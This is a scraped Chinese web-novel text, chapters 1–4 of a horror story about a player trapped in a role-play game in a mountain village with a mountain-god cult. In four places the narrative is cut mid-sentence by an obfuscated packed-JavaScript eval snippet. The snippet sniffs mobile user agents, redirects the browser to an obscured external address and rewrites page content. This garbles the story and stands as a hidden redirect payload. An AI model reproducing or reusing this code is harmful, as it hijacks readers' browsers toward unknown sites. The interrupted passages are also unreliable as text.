《在诡异游戏当大佬》 1. 载入游戏 【请扮演好每轮游戏抽取的人物角色。 角色偏差度高于50%时,将遭受惩罚。 角色偏差度高于80%时,此轮游戏结束。】 【主线任务:活下去】 【友情提示,请谨慎触发支线任务。】 毫无波澜的机械音在白桑耳边响起时,同样的文字也在他眼前浮现,随着他的视线左右移动。 等声音消失后,眼前的文字也跟着逐渐淡化,消散在空气中。 “异常”消失了,世界变回了熟悉的模样。 没有莫名其妙响起的声音、没有好似游戏提示般的悬浮文字、没有半梦半醒中看到的无数“怪物”,只有黑黝黝的房梁透着腐朽的气息,好似藏匿着未知生物。 看来世界没变回他熟悉的模样。 白桑记得他是在自己刚装修好的新房里入睡的,洁白崭新的天花板绝不至于一夜之间变成旧式房梁。 结合刚才的系统提示……他这是穿进了游戏?但游戏面板在哪?任务说明又在哪? 白桑谨慎的观察着自己能看到的一切,确认不存在任何跟游戏挂钩的元素后,之前梦中所见到的场景突兀的浮现在了脑海中。 铺天盖地的广告,广告中的宣传词模糊不清,只有“生物多样性体验”这个词异常清晰。 游戏开售当天,无数白桑未曾见过的奇怪生物涌入了游戏——一个熟悉又陌生的蓝色星球。 在梦中,蓝色星球的出现让白桑吓了一跳,骤然从旁观者视角变成了第一人称视角,他从高空坠入万丈深渊…… 然后白桑就醒了,很难说白桑到底是被高空坠落吓醒的,还是被突然响起的系统提示吵醒的。 在他醒来后,刚装修好的新房变成了乡村风的老房子,就像世界骤然变了个模样。 世界的恶意扑头盖脸的淋了白桑一脸,他面无表情的从床上坐起,看向四周。 上世纪九十年代风格的泥砖房,风化开裂的缝隙歪歪扭扭的开在墙面上。 八仙桌摆在靠窗的那一侧,桌上摆放着九十年代常见的茶缸子,杯身上印着“咱们工人有力量”,大概是用了太长时间,杯上的字迹已经有些模糊不清。 窗户往外推开一小截,映入几寸天光。 房间另一侧离窗户最远,深藏于阴影中,隐约能看到那侧墙边堆放着什么。 “娃儿,你醒了?” 在白桑凝神观察时,门口突然响起了老人的声音。 骤然响起的声音吓了白桑一跳,他扭头朝声音发出的方向看去,借着门外那点微弱的天光,分辨门口的人影。 逆着光,看不清对方的表情。只能看到他微微佝偻着背,就如同这里散发出的气息一般,腐朽陈旧,被时光掩埋。 白桑还没摸清情况,谨慎的给出回复:“醒了。” “醒了就好,醒了就好,”老人念叨了两遍,想起了什么,急匆匆的道:“饿了吧,我去给你盛饭。” 刚往外走了两步,他又想起了什么,在墙上摸索了半天,按亮了电灯。 灯光亮起,白桑遮了下眼睛,门口的人影留给了他一个背影。 微微佝偻的身体,洗得发白打着补丁的旧衣服,莫名的熟悉。 白桑没来得及细究那股熟悉感,视野中突然浮现出了一行文字。 【提示!当前角色偏差度: 10%】 确认白桑接收到这个信息后,这行文字就再度消失了。 一上来就是10%的角色偏差度?白桑迅速意识到他可能因为过度谨慎错过了开局搜集线索确认角色信息的机会。 仅仅只是“醒了没”这种显而易见的问题,不至于直接扣掉白桑10%的角色扮演度。除非白桑所扮演的角色跟刚才出现的老人之间存在更复杂的未知剧情,所以白桑老老实实回答问题的行为才会导致角色ooc。 这会是主线任务仅仅是‘活下去’的原因吗? 因为游戏对于角色偏差度的评定相当苛刻,所以玩家需要为了避免增加角色偏差度绞尽脑汁,以避免在游戏中因为不符合人设而被淘汰? 有可能,但应该没那么简单。 白桑看向另一侧,灯光亮起后,藏于阴影中的东西展露了真面目。 远离八仙桌的那一侧墙面旁,整齐堆放着四个大箱子,应该是用来放衣服的——白桑小时候在爷爷奶奶家看到过类似的物件。 箱子左侧摆着一张桌子,桌上放着一沓书,有的堆在一起,有的摊开,一旁的铅笔盒子虚虚合拢,形状不规则的橡皮掉在地上。 白桑从床边下去,双脚刚落地,一股锥心疼痛油然而生,他腿一软,差点摔倒,幸亏及时扶住床沿,才稳住了身体。 白桑看向自己稳稳当当站在地上的双腿,方才那股疼痛好似只是错觉,在他反应过来后就不见了踪影。 白桑试着走了几步,不痛,在原地又蹦又跳,还是不疼。 他将裤腿挽到膝盖的位置,两块骇人的黑紫色淤青浮肿在膝盖下方,奇异的是,不管白桑怎么按这两块淤青,都没察觉到疼痛,就好似淤青压根不是真实存在的一般。 白桑走到书桌前,打开铅笔盒,果不其然,这是一个自带镜子的铅笔盒。 在白桑小时候,带小镜子、带卷笔刀的铅笔盒是小孩眼里最时髦的文具。 白桑看着镜子里好似年轻了十来岁的自己,再度冒出了既视感,熟悉的箱子、熟悉的茶缸、熟悉的背影、甚至于熟悉的铅笔盒……每一处都在暗示眼前这一切跟他存在着某种联系。 但白桑找镜子不是为了确认自己当前的长相—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039823|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕‘角色’长得跟他原来一模一样,也能归功于游戏的伟力,白桑不会对此产生毫无必要的猜测——他的目光停在自己的额头,没有淤青,所以膝盖上的淤青不是因为磕头导致的? 白桑放下铅笔盒,目光在桌面上一扫而过,摊开的本子上的文字映入视野。 【黑水不见了。爷爷说他去外面读书了,大家都说他去外面读书了。】 【我知道黑水在哪,我要去找他。】 【骗子骗子骗子】 所以,这里也有一个黑水?一个跟他从小一起长大的好兄弟? 白桑正要往前翻页,外面突然响起了一阵嘈杂的动静。 “娃他爹快来,孩他疯了!” “快找村长!” “祂发怒了!是祂发怒了!我就说,不该把白……” 惊慌失措的声音交错在一起,捕捉到最后一个字的白桑跑到窗边,踩着八仙桌推开上面的窗户,看到了外面的场景。 最先映入视线的是一重又一重的山,层层叠叠的缀在天边,好似压在胸口,让人喘不过气来。 然后才是散落在道路旁的建筑物,村民们远远的聚拢在屋外,最开始喊“孩他疯了”的人跌倒在地上,一脸惊恐的注视着空地上的生物。 白桑的目光也落在了它身上。对方应当算是人类,但正常人是绝对做不出反转手肘和膝盖,在地面上飞快爬行的行为。 与其说它是人类,倒不如说它是某种非直立生物,一边发出人类听不懂的吼叫声,一边在地上爬来爬去,时不时蹿上屋顶,在墙上如履平地,动作之敏捷,行为之异常,散发着强烈的非人感。 野兽的嚎叫声压过了村民们惊慌失措的声音,以强势的姿态回荡在村子中。 这个‘角色扮演’游戏还存在超自然生物?白桑表情凝重,主线任务再度浮现在了他脑海中。 相较于又是惩罚又是游戏结束的‘角色偏离度’,白桑更在意过于简单直白的主线任务。 ‘活下去’这个要求太过简单,它能成为主线任务,唯一的解释是这个游戏的难度大到玩家连‘活下去’都很难做到。 吼叫声回荡在空地上,白桑的表情渐渐古怪。 他好像听懂了对方在说什么,准确来说,是听懂了一长串句子中的几个单词。 【越涨越快】【50%惩罚】【带带我】 在白桑听懂最后那个词的时候,活蹦乱跳的未知生物就像突然断电般,停下了所有动作,直接从房顶上掉了下来,砰的一声,砸了满地血色,红的白的肆意流淌。 空地上的紧绷气氛在这一刻达到了极限。 “出事了,祂发怒了!” “要不,我们逃吧,说不定还来得及。” “往哪逃?这个世道,到处都在死人。” 2. 小山村(1) 白桑若有所思,刚才死的未知生物大概率是‘玩家’,他的异常举止可能跟角色偏差度超过50%遭受的惩罚有关。 嘈杂声中,有两人穿过人群,走到死者前,低声讨论了几句,然后给村民们安排起了任务。 众人的恐惧在这两人到来后逐渐平静。 村民们从家里拿来扫把、抹布、香炉等物件,手脚麻利的收拾地上散落的躯干和液体,在空地上摆好桌子和香炉,平静娴熟的姿态像是早就对此习以为常。 那两人一人忙着整理桌上的香炉,另一人不知道从哪拿了一大捆香。两人凑在一起低声议论,不知道说了些什么,拿着香的那人朝白桑的方向看了一眼。 白桑下意识的想躲,10%的角色偏离度在他脑海里一闪而过,他止住了想躲的冲动,隔着窗户跟那张模糊的脸遥遥对视。 那人把手上那捆香递给另一个人,朝白桑的方向走了过来,随着对方逐渐靠近,那身洗得发白、打着补丁的衣裳映入了白桑眼中。 白桑记得,爷爷退休后的业余生活多姿多彩,不是忙着去跳广场舞,就是去下围棋、钓鱼,每天呼朋唤友,像是一个老小孩。 但眼前这张脸上的每根皱纹似乎都蕴含着某种沉甸甸的东西,明明比记忆中年轻,却年迈得像是已经步入了人生倒计时。 白继业没进屋,看着扒拉着窗户的白桑,眉头拧成了死结。 跟脸上的表情不同,他的语气十分温和:“娃儿,来给你王二哥上柱香,让他安安心心的去。” 白桑没吭声。 ‘角色扮演’游戏对人物ooc的判定过于严格,导致‘玩家’的一举一动都被套上了镣铐,稍有不慎就会像白桑刚才看到的那样,在异化成为无法沟通的怪物后,成为地上的一滩烂泥。 10%跟50%看上去很遥远,但考虑到偏差度并不是以1%的速度挪动,那么,实际上留给白桑的试错余地,仅仅只有四次。 这是最乐观的猜测,还是另一种可能。 角色偏差度的增加并不遵循数字上的规律,只跟玩家ooc的程度有关。在缺乏信息的情况下,谁也不知道哪个试探行为会大幅度违反角色性格,导致人物偏差度瞬间飙升。 白桑脑海里闪过一连串猜测,表现在外的就是数分钟的沉默不语。 见他不吭声,白继业长叹了口气:“你的病还没好?” 【提示!当前角色偏差度:20%】 突然出现的系统提示跟白继业的声音重叠在一起,恍若死亡号角,让白桑的思绪前所未有的活跃了起来。 本子上的那三行文字、去外面读书的黑水、膝盖上的淤青、小了十来岁的他和爷爷…… 刨除那些让人发散思维的边角料,从最为直观的线索下手——这轮游戏,他所扮演的角色设定似乎是十年前的他自己。 当然,这个‘十年前的他自己’并不是真正的十年前——在现实中,十年前的白桑住在城里,从没接触过这种被群山包围的村落。 但刨除这一点,十年前,十四五岁的白桑是什么样的性格? 本子上那三行文字在白桑脑海里浮现。 【黑水不见了。爷爷说他去外面读书了,大家都说他去外面读书了。】——不提黑水失踪背后的隐情,单单只是‘爷爷说、大家说’这俩个词,说明“我”为了得到答案,问了很多人,而且得到了一个说得过去的解释。那“我”跟“爷爷”以及“村子里其他人”的关系大概率不是畏惧和疏远。 【我知道黑水在哪,我要去找他。】——“我要去找他”证明“我”在村子里的行动很自由,或者说,我并不害怕“去找他”这一行为暴露后可能导致的结果。 【骗子骗子骗子】——虽然不确定“骗子”究竟是指谁,但肯定不是指向“我”自己。长期处于弱势地位的人在遭遇挫折时,往往更倾向于将责任揽在自己身上,而“我”的第一反应是谴责其他人。 当然,白桑不是专业的心理分析专家,他的分析本质上都建立在对自己的了解上。 十年前的白桑不是唯唯诺诺的个性,他当时正处中二期,路过的狗朝他叫上几声都得被他追着跑出几百米。 这么一来,之前10%的角色偏差度也就有了解释——在黑水失踪,“我”觉得某人是骗子的情况下,“我”的怒火只会发散到所有人身上,根本不可能心平气和的回答“爷爷”的问题。 更别说刚才那样的“沉默不语”了,被宠坏的熊孩子压根不知道什么叫做用沉默来表达反抗。所以角色偏差度又涨了10%。 虽然还有一些疑惑没被解开,但白桑没那么多时间继续思考下去,白继业还在等着他的回答。 “黑水不回来,我这病永远也好不了。” 白桑冲他喊了一声,气汹汹的从八仙桌上爬下去,直奔大门。 穿过卧室外的大堂时,白桑飞快扫了眼堂屋中的摆设。 大堂里摆着一张八仙桌,桌上摆放着一盆苹果,苹果后面是一个小香炉,香炉上插着根香,似乎已经点燃了有一段时间,香烧了小半,落下的香灰在香炉中积起薄薄一层。 香炉后方摆放着一个空白牌位,上面什么都没写,白桑下意识的多看了几眼。 白继业不知道什么时候走到了大门口,细长的影子投进大堂,一路延伸到八仙桌前,逆光的脸上看不清表情:“今天的香上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039824|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 白桑心头一跳,想起膝盖上那两块骇人的淤青、正在打扫的空地上匆忙摆出来的香桌、以及白继业之前拿在手里的那一捆香。 他直觉,在这个村落里,“上香”是一种具有特殊含义和作用的行为。 而白继业突然问出这个问题,也十分古怪——香炉上只有一根香,白继业应该很清楚“白桑”有没有上香。 除非,他想要的压根不是答案。 强烈的危机感油然而生,白桑没给自己留出思考的时间。 问题一落地,白桑惊讶的看了眼八仙桌上的香炉,然后又看向白继业,惊讶道:“我要上香?” 话出口的速度比大脑运转的速度更快,等白桑反应过来自己说了什么之后,一切已经尘埃落定。 在一阵让人屏息的沉默后,白继业朝他招了招手,一脸慈祥的道:“爷爷年纪大了,记不住事了,忘记娃儿还没到给山神爷爷上香的年纪了。” 这个慢悠悠的慈祥语调让白桑脖子后头起了一层白毛汗,他强装镇定的跨过高高的门槛,被白继业牵住手,朝人来人往的空地走去。 那是试探?他意识到我不对劲了?是角色偏差度到20%导致游戏难度上升,还是其他原因导致的? 如果他给出了错误回答的话,会怎么样?角色偏差度再度增加? 白继业边走边对白桑道:“村子里出事了。” 察觉白继业牵着他的手突然加大了力道,白桑抬头看向白继业,看见了一张表情凝重的脸。 他顺着白继业的目光看去,发现空地上多了一些牵着孩子的人,人群的数量明显增多,好似村里所有人都来了。 墨守仁清点了下孩子的数量,表情立马变糟了。 他跟白继业道:“有四家出问题了。” 白继业紧握着白桑的手:“都关起来了?” 墨守仁嘬了口烟杆:“可不敢让他们到处乱跑。要是再闹出刚才那样的事,惹恼了山神爷爷……” 白桑竖着耳朵听这两人交流,剩余的注意力集中在那些孩子身上,不管是人高马大的青少年,还是刚学会走路的小孩,眼下都老老实实的跟在长辈身边,安静得出奇。 四家孩子出问题了……不会是指玩家吧? 就在白桑脑海里浮现这个念头时,余光瞥见了一张挤在窗户上的脸,对方像是想从玻璃中钻过来,几乎是以将整张脸挤得扭曲的力度黏在窗户上。 视线交错的瞬间,那张扭曲的脸上骤然浮现出了一个像是欣喜又像是惊恐的表情,吓得白桑连忙收回视线。 远处传来几声闷响,等白桑的视线再挪过去时,窗户上那张脸已经消失了。 3. 小山村(2) 那是什么?村子里的‘超自然生物’?还是又一个角色偏差度超过50%的玩家? 白桑对自己下意识挪开视线的行为产生了几分懊恼。 在没有相关记忆的情况下,任何线索都至关重要。 但能意识到这一点,并不意味着白桑对于恐怖场景的接受能力也能跟着直线上升,生理本能做出反应的速度远比白桑思考的速度来得快。 白桑朝那个房子看了好几眼,始终没等到那张脸再次出现,方才的惊鸿一瞥好似只是错觉。 见人来齐了,白继业结束了跟墨守仁的对话,对村民们道:“按顺序来,大家给二娃子上炷香,让他安安心心的去。” 说完,白继业捏着刚点燃的香,在八仙桌前拜了三拜,将手里的香插进了桌上的香炉中。 香一插进香炉,原本没什么味道的檀香突然浓重了起来,掩盖了那股若有若无的血腥味。 墨守仁紧随其后,奇妙的秩序感笼罩着这片空地,没有人开口,也没有人哭天喊地,只有逐渐强烈的香气徐徐弥漫。 对村民来说,上香的顺序是已知的,但对白桑来说,这无疑又是一个不能答错的考题。 一个个年长的村民接连上完香,白桑思考的速度也愈发急促。 上香的顺序……惯例……年长的村民…… 白桑脑海里闪过一道亮光,上香的顺序按照年纪分成了三类,老人、成人、还有孩子。 在同一个大类中,年纪的高低并非决定性的因素——虽然第一批上香的都是老人,但最先上香的是白继业和墨守仁,这两人并非所有人中年纪最大的。 在白桑的密切关注中,空地上的成年人也按照某个特定顺序上完了香,只剩下孩子们还没上香了。 心脏砰砰砰的跳个不停,白桑没犹豫,所有成人上完香后,他率先从人群中走了出去。 没人惊讶,也没人阻止他,白桑紧绷的神经放松了下来。 他赌对了。 最先上香的白继业和墨守仁是村子里的主事人,地位最高,所以排在最前面。孩子们的上香顺序跟家里大人一样,那白桑理应是所有孩子中第一个上香的。 白桑走到白继业跟前,白继业将点燃的香递给他。 白桑捏着香,走到众人鞠躬的位置,对着香炉弯下腰,就在这个瞬间,手里的香突然变得极为压手,拽着他压低身体,硬生生压弯了白桑的膝盖。 白桑噗通一声跪在了地上。 始终保持静谧的现场发出了几声杂乱的声调,人群还没来得及慌乱,瞥见香炉上袅袅升起的青烟,又骤然安静了下来。 白桑无暇关注这些细节,锥心的疼痛从膝盖迸发,像无数根针扎进神经,反复研磨。 从未经历过的惨痛一瞬间淹没了理智,白桑没叫出声完全是因为那股无形力量正操纵着他完成后续的仪式。 白桑在地上磕了三个头,每磕一个头,他手里那柱香就会以违反常识的速度烧掉一截,三个头磕完,他手里的香彻底烧光,只剩最底下那截无法燃烧的柄还留在白桑手里。 香烧完,那股不知名的力量消失,锥心的疼痛跟着褪去。白桑蹒跚的从地上爬起,茫然的看向白继业,被白继业阴沉沉的脸色吓了一跳。 上香仪式仍在继续,孩子们挨个从白继业手中接过香,在香炉前鞠躬、将香插进香炉、然后换下一个,所有人安安稳稳的上完了香,没出现跟白桑一样的意外状况。 香炉上插满了密密麻麻的香,汇聚成一缕厚重的烟。 始终寂静的空地终于活泛了起来。 有人松了口气:“好了好了,二娃子可以安心下葬了。” 有人跟王大婶道:“王大婶,二娃子下葬的时候招呼一声,我来搭把手。” 有人小声问道:“既然山神爷爷允许二娃子往生,那二娃子到底是怎么回事?” 这个问题一出,就有好几道若有若无的视线飘向了白桑的位置,不知道是在看他,还是在看他身旁的白继业。 有人压低声音道:“山神爷爷的事也是你能问的?咱们这地方有山神爷爷在,其他‘东西’进不来。二娃子……二娃子命不好,早点往生,下辈子投个好胎,省的在世上苦捱。” 墨守仁磕了下烟杆,挥散众人:“行了,别嚼舌根了,忙你们的去。明儿家里上香的时候都上点心。” 墨守仁一发话,议论纷纷的人群就散开了 至于王二娃的葬礼,谁也没提起,不知道是村子里没有办白事的习俗,还是方才上香的阵仗就已经算是王二娃的葬礼了。 香炉上的香还在燃烧,墨守仁跟白继业站在跟前,像是被焊死在了地上,一动不动,谁也没吭声。 半晌,墨守仁嘬了口烟杆,刚打算说点什么,一旁过来个畏畏缩缩的汉子,透着丝丝缕缕的惊恐:“村长,我家娃儿……” 墨守仁扭头看他:“你家娃儿怎么了?” 对方打了个寒颤:“他不是人!村长,是不是外面的东西进村了?不然我家娃儿怎么会被上身……” 话还没说完,白继业猛得抬腿一脚踹在他的膝盖骨上,将他踹得跪倒在地,现场骤然安静了下来。 白桑被白继业突然踹人的动作吓了一跳,还没反应过来,就见墨守仁也气急败坏的道:“娃儿不懂事,你也不懂事?什么话都敢往外说?” 中年汉子被踹倒在地都没变神色,墨守仁的话一出,他眼泪和鼻涕一块下来了,浑身直哆嗦:“俺错了,俺不说了,俺给山神爷爷上香。” 墨守仁恨铁不成钢的道:“咱们村子这些年平安无事,靠的是大家伙都守规矩。你要觉得日子太平安,去村子外头,想说啥说啥,没人拦你。” 白继业拦了他一把:“行了,别说了。孩子出事了,爹娘怎么忍得住呢……可怜天下父母心。” 墨守仁眉心一跳,目光掠过瘫倒在地的中年汉子,挪到一声不吭的白桑身上,强挤出了个笑脸:“小树苗今天怎么这么安静?没跑去找其他人玩?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039825|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果可以,白桑真希望墨守仁不记得他还在场,不然也不至于又捞到一个送命题。 所幸白桑对自己扮演的‘角色’性格已经有了猜测,不至于像之前那样只能盲蒙答案。 白桑在这一瞬间闪过的念头,更多的是——村子里还有没被发现的“玩家”吗? 白桑能锁定自己上香的顺序,大半功劳得归功于白继业,其他玩家没他这个优势,恐怕很难精准锁定自己上香的顺序。 当然,也不排除有智商过人的玩家低调的隐藏了自己。但白桑更倾向于绝大部分玩家都已经暴露了。 角色偏差度抵达50%会遭受惩罚,不代表“NPC”对“玩家”的怀疑也要满50%才会采取措施。 在真实的世界里,只需要一个小小的破绽就足以让他们确定身边人出了问题。 在正常的和平社会中,其他人只会觉得对方有些反常,最多觉得他的精神出了问题,很难联想到更可怕的真相。 但这个村落本就笼罩在超自然力量中,所以一旦察觉异常,村民们立马就能通过错误的验证方式抵达正确的终点。 必须得想办法接触一下被关起来的那四个人。 这么想着,白桑试探着道:“我只跟黑水玩。” 正在嘬烟杆的墨守仁被呛了个正着,不停咳嗽道:“承庭……去外面读书了,等放寒假就回来了。” 所以,这轮‘游戏’里,他最好的兄弟,也叫墨承庭,对方的爷爷也同样是墨守仁。 在白桑的记忆里,墨承庭的爷爷是一个高级知识分子,退休教授,桃李满天下,从没当过什么村长。 白桑比对着游戏跟现实的区别,白继业给白桑拍了拍裤腿上的土:“还疼吗?” 白桑看向他,老人的脸上写满了担忧,跟记忆里爷爷的脸重合。 他别开视线,哼哼唧唧道:“疼,可疼了。我想跟黑水玩,我也要去外面上学!” 白继业一脸慈爱的道:“爷爷想办法,让你去外头上学。” 墨守仁噌的一下拔高了音量:“你疯……” 话还没说完,想起白桑还在场,他哄着白桑道:“小树苗你去别的地方玩,我跟你爷爷聊聊去外头上学的事。” 白桑的视线在墨守仁跟白继业之间来回转了好几圈,拽了拽白继业的手:“我要拉钩。拉钩上吊,一百年不许变!” “好好好,拉钩,爷爷跟你保证,一定送你去外头读书!”说完,白继业踹了脚中年汉子:“楞着干啥?带娃儿去其他地方玩去。” 中年汉子从地上起来,牵着白桑的手往外走。 白桑磨磨蹭蹭的放慢脚步,竖着耳朵听风中传来的对话。 “你疯了,山神爷爷会发怒的,到时候整个村子都……” “就许你把人送出去,不许我也这么做?” “那能一样吗?黑水本来就是外头的人,但小树苗……” 哪怕白桑越走越慢,还是没能听清后面的对话。 4. 小山村(3) 看来,黑水的确是去了“外面”,而不是离奇失踪。 白桑一边跟着中年汉子往前走,一边头脑风暴。 既然村子里有“山神爷爷”保护,外面的‘东西’进不来,那为什么作为村长的墨守仁要把孙子送到“外面”?从之前的对话来看,外面可不比村子安全。 这样一来,最有可能是因为墨守仁认为村子很快就会变得“不安全”,甚至可能会比外面更危险。 村子为什么会变得不安全?“山神爷爷”出问题了? 这跟玩家的到来有关吗?还是游戏剧情的既定设定? 玩家的角色偏离度超过50%受到的惩罚是异化成怪物,有没有可能是因为玩家扮演的角色本就处于异变成怪物这一过程中,系统的惩罚只是加速了这个过程? 又或者,系统惩罚跟玩家角色无关,单纯只是系统设定——角色偏离度过高就会变得越来越不像人? 如果是前者,整个村子里的人可能都处于异化成怪物的阶段,只是还没有完全爆发。如果是后者,那说明这个游戏系统真的很变态。 但黑水离开村子的时间早于玩家进入游戏的时间,也就是说,在玩家到来前,“山神爷爷”就已经出现了异常,引起了墨守仁的担忧。 山神爷爷的异常会跟“白桑”身上的骇人淤青有关吗? 白桑手里的线索太少,没法将所有线索串联起来,更别说推测出村子里的隐情了。 但有一点可以确认,白桑的身份很特殊,他可能跟山神爷爷存在某种特殊联系——在所有人上香的环节中,唯独白桑的香没插进香炉就被“消耗”了。 中年汉子一路上看了白桑好几眼,沉浸在思绪中的白桑完全没接收到,对方不得不主动开口:“小树苗,俺要回家准备祭祖的东西,你要跟着俺回家?” 白桑收回思绪,发现他们走到了村子另一侧,建筑物零星的散落在路旁,周围异常的安静,哪怕是一无所知的普通人也能嗅出那股不同寻常的气息。 白桑没急着跟对方告别,好不容易离开白继业的视线,还有现成的工具人,不多套点话都对不起他死掉的那些脑细胞。 白桑:“祭祖?现在就要开始准备这个了吗?” 【提示!当前角色偏差度:25%】 久违的系统提示再次出现,白桑心头一跳,就见中年汉子投来了疑惑的视线:“王二娃死得不明不白的,不祭祖没法平息山神爷爷的怒火,那村子里是要出大事的……小树苗,你这都不记得了?” 这游戏也太离谱了,一点前情提要都不给,套话还会涨角色偏差度,这能玩? 白桑顶着中年汉子疑惑的视线,理直气壮的道:“我腿疼,没想起来。” 一提到腿疼,中年汉子就满心满眼想送走白桑了:“那你更得回家歇着了……” 没等他说完,白桑打断道:“我想去叔家里看看……” 中年汉子一个劲的摆手:“家里没啥好看的,狗子现在也不能陪你玩,你去别的地方玩吧。” 可算是把名字给套出来了,白桑在心里松了口气,迅速往杆子上爬:“叔,你就让我去看看吧,我想知道狗子到底怎么了。” 中年汉子不住摇头:“不成不成。村里的规矩你都忘了?这种事不能瞎好奇,会没命的!” 白桑撇了撇嘴:“你要是不让我去,我等会就一个人偷偷去看。” 中年汉子好声好气的道:“小树苗,你再这样胡搅蛮缠,我就去告诉你爷爷了。” 白桑怀疑“我去告你爷爷”可能是大家面对他胡搅蛮缠时的杀手锏。 但还别说,白桑真就怕他找家长。 他眼珠一转,神神秘秘的压低声音:“叔,让我看看,说不定我能治好狗子的‘病’呢?” 中年汉子不假思索的道:“你啥时候学过治病?再说了,这也不是病……” 说道这,中年汉子的表情突然一顿,他看了眼白桑,神情里隐约浮现出几分敬畏,突兀的压低了声音,像是生怕惊动谁一般:“小树苗,你真能治狗子的怪病?” 话出口时还是虚弱的问句,说到最后,莫名变得底气十足。他拽着白桑的手,执拗的盯着白桑的眼睛道:“你要能治好俺家狗子的病,俺给你上香,每天三炷香。” 村子里的香到底是用来干什么的?成年的村民每天要给山神爷爷上一炷香,中年汉子许出的“报酬”是每天三炷香…… 局面翻转,这下变成中年汉子拽着白桑的手非要带他去看狗子,白桑则开始扭扭捏捏了:“我就是随口说说,不一定能成。” 中年汉子一副对他信心十足的模样:“你肯定能成,谁不知道山神爷爷保佑你嘞。” 成,话套出来一半了。 白桑把手往回拽,不服气的道:“瞎说,我腿还疼着呢。” 中年汉子脱口而出:“还不是白先生死活不愿意让你去守祠堂吗……” 哐当一声巨响,白桑和中年汉子一齐扭头,路边那幢房子的大门被什么东西撞开了,一道黑影从里面蹿了出来。 黑影的脸往下凹陷了一大块,满脸的血滴答滴答往下流,跟二娃子不同的是,对方的手肘和膝盖没有外翻,而是像某种无骨生物般,四肢软绵绵的耷拉着。 他走路的姿势很奇怪,两只脚踩着小碎步,整个身体一动不动,乍一看像是没有骨头般的往外飘。 跟王二娃相同的是,他们身上都具有强烈的非人感,像是刚套上人皮的怪物,绝不会将他们错认成“人类”。 中年汉子被这个怪模怪样的东西吓得后退了好几步,反应过来后,又急忙拦在白桑面前,颤声道:“小树苗你快去叫人,这家伙跑出来了。” 这到底是怪物?还是玩家?就算是玩家,对方眼下这种状态,难道还能正常沟通? 白桑看了眼朝他们“飘”过来的生物,撒腿就跑。 才跑两步,他就“听”到了熟悉的声音——听不懂的长句子中夹杂着一两个能听懂的短词,像一种特殊的加密通讯。 【玩家】【偏离度】【垃圾游戏】 白桑看向“飘”到中年汉子面前的怪物,狠了狠心,转头跑了回去,拦在中年汉子面前,不顾中年汉子一脸震惊的表情,语速飞快道:“你快跑,我来拦着他。我有山神爷爷保佑,不会出事的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039826|162470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 中年汉子没反应过来,白桑推了他一把,他这才跌跌撞撞的往后跑,边跑边大喊“出事了,快来人啊”。 他这一跑,现场就剩下了白桑跟“怪物”,白桑心脏跳得飞快,见怪物越靠越近,他急忙丢出问题:“你也是玩家?你现在的角色偏离度是多少……” 话还没说完,熟悉的系统提示跳了出来。 【提示!当前角色偏差度: 25%、26%、27%、28%……】 跟之前不同,这次提示的角色偏差度不是尘埃落定的数值,而是同步增长的数值,白桑说出口的关键词越多,角色偏差度往上跳的速度越快。 白桑立刻反应了过来,超出模组的对话也是ooc的一种,即使没人听见这场对话,但在系统判定中,角色偏差度依旧在上涨。 显然,系统用来束缚玩家的镣铐远比白桑想得更为沉重。 白桑的问句戛然而止,但对方给出了相当激烈的反应。 他以更快的速度‘飘’向白桑,不断的绕着白桑转圈圈,虽然白桑听不懂他究竟在说什么,但听懂了几个简单的词。 【救救我】【涨得好快】 会求救,有强烈的沟通意愿,在双方的距离如此接近的情况下,也没有主动攻击的意图,白桑对对方的身份判断朝‘玩家’这一侧稍稍倾斜。 不过想起二娃子在众目睽睽下死亡的过程,白桑忙嘱咐他道:“哪怕周围没有其他人,也不要提到跟游戏相关的词……” 【提示!当前角色偏差度:28、29%,30%……】 白桑瞄了眼系统提示,继续道:“不要出现在人多的地方,待在室内,尽可能减少跟其他人接触……” 